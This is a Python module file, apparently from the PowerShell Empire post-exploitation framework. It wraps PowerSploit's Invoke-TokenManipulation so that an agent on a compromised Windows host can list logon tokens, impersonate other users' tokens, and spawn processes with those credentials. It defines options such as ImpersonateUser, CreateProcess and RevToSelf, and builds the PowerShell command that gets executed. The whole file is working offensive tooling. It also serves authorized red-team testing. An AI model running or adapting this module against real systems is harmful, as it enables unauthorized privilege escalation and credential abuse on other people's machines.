155 lines
5.7 KiB
Python
155 lines
5.7 KiB
Python
from lib.common import helpers
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class Module:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'Invoke-TokenManipulation',
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'Author': ['@JosephBialek'],
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'Description': ("Runs PowerSploit's Invoke-TokenManipulation to "
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"enumerate Logon Tokens available and uses "
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"them to create new processes. Similar to "
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"Incognito's functionality. Note: if you select "
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"ImpersonateUser or CreateProcess, you must specify "
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"one of Username, ProcessID, Process, or ThreadId."),
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'Background' : False,
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'OutputExtension' : None,
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'NeedsAdmin' : False,
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'OpsecSafe' : True,
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'MinPSVersion' : '2',
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'Comments': [
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'http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/'
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]
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}
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# any options needed by the module, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Agent' : {
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'Description' : 'Agent to run module on.',
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'Required' : True,
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'Value' : ''
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},
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'RevToSelf' : {
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'Description' : 'Switch. Revert to original token.',
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'Required' : False,
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'Value' : ''
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},
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'ShowAll' : {
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'Description' : 'Switch. Enumerate all tokens.',
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'Required' : False,
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'Value' : ''
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},
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'ImpersonateUser' : {
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'Description' : 'Switch. Will impersonate an alternate users logon token in the PowerShell thread.',
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'Required' : False,
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'Value' : ''
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},
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'CreateProcess' : {
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'Description' : 'Specify a process to create instead of impersonating the user.',
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'Required' : False,
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'Value' : ''
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},
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'WhoAmI' : {
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'Description' : 'Switch. Displays current credentials.',
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'Required' : False,
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'Value' : ''
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},
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'Username' : {
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'Description' : 'Username to impersonate token of.',
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'Required' : False,
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'Value' : ''
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},
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'ProcessID' : {
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'Description' : 'ProcessID to impersonate token of.',
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'Required' : False,
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'Value' : ''
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},
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'Process' : {
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'Description' : 'Process name to impersonate token of.',
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'Required' : False,
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'Value' : ''
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},
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'ThreadId' : {
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'Description' : 'Thread to impersonate token of.',
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'Required' : False,
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'Value' : ''
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},
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'ProcessArgs' : {
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'Description' : 'Arguments for a spawned process.',
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'Required' : False,
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'Value' : ''
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},
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'NoUI' : {
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'Description' : 'Switch. Use if creating a process which doesn\'t need a UI.',
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'Required' : False,
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'Value' : ''
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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# read in the common module source code
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moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-TokenManipulation.ps1"
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try:
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f = open(moduleSource, 'r')
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except:
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print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
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return ""
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moduleCode = f.read()
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f.close()
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script = moduleCode
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script += "Invoke-TokenManipulation"
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if self.options['RevToSelf']['Value'].lower() == "true":
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script += " -RevToSelf"
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elif self.options['WhoAmI']['Value'].lower() == "true":
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script += " -WhoAmI"
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elif self.options['ShowAll']['Value'].lower() == "true":
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script += " -ShowAll | Out-String"
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else:
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for option,values in self.options.iteritems():
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if option.lower() != "agent":
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if values['Value'] and values['Value'] != '':
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if values['Value'].lower() == "true":
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# if we're just adding a switch
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script += " -" + str(option)
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else:
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script += " -" + str(option) + " " + str(values['Value'])
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# try to make the output look nice
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if script.endswith("Invoke-TokenManipulation") or script.endswith("-ShowAll"):
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script += "| Select-Object Domain, Username, ProcessId, IsElevated, TokenType | ft -autosize | Out-String"
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else:
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script += "| Out-String"
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if self.options['RevToSelf']['Value'].lower() != "true":
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script += ';"`nUse credentials/tokens with RevToSelf option to revert token privileges"'
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return script
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